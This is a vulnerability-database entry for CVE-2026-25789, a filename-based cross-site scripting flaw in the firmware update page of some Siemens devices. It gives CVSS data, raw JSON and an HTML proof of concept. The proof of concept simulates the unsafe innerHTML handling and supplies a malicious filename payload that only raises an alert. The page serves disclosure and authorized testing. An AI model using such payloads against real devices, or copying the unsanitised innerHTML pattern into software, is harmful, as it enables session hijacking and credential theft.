Security Vulnerability Report
中文
CVE-2026-25789 CVSS 7.1 HIGH

CVE-2026-25789

Published: 2026-05-12 10:16:45
Last Modified: 2026-05-12 10:16:45

Description

Affected devices do not properly validate and sanitize filenames on the Firmware Update page. This could allow a remote attacker to social engineer the user into selecting the modified firmware file to be uploaded. This would result in malitcious JavaScript execution in the context of the authenticated user's session without requiring the file to be uploaded, potentially leading to session hijacking or credential theft.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

具体受影响版本请参考西门子安全公告 SSA-688146

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-25789: Filename-based XSS This PoC demonstrates how a malicious filename can trigger XSS when selected. --> <html> <head> <title>CVE-2026-25789 PoC</title> <meta charset="UTF-8"> </head> <body> <h2>Vulnerability Demonstration: Firmware Update Filename XSS</h2> <p><strong>Instructions:</strong></p> <ol> <li>Create a dummy file on your computer and rename it to: <code>"<img src=x onerror=alert('CVE-2026-25789_PoC')>.bin</code></li> <li>Click the "Choose File" button below and select the renamed file.</li> <li>If the application is vulnerable, an alert box will appear showing the CVE ID.</li> </ol> <hr> <!-- Simulated Vulnerable Firmware Update Form --> <div class="update-section"> <label for="firmwareFile">Select Firmware File:</label> <input type="file" id="firmwareFile"> <br><br> <div id="previewArea"> Selected File: <span id="filenameDisplay">No file selected</span> </div> </div> <script> // Simulating the vulnerable behavior found in the affected device document.getElementById('firmwareFile').addEventListener('change', function(event) { const file = event.target.files[0]; if (file) { const fileName = file.name; // VULNERABLE CODE: Using innerHTML directly without sanitization document.getElementById('filenameDisplay').innerHTML = fileName; } }); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25789", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:45.037", "lastModified": "2026-05-12T10:16:45.037", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Affected devices do not properly validate and sanitize filenames on the Firmware Update page. This could allow a remote attacker to social engineer the user into selecting the modified firmware file to be uploaded. This would result in malitcious JavaScript execution in the context of the authenticated user's session without requiring the file to be uploaded, potentially leading to session hijacking or credential theft."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-688146.html", "source": "[email protected]"}]}}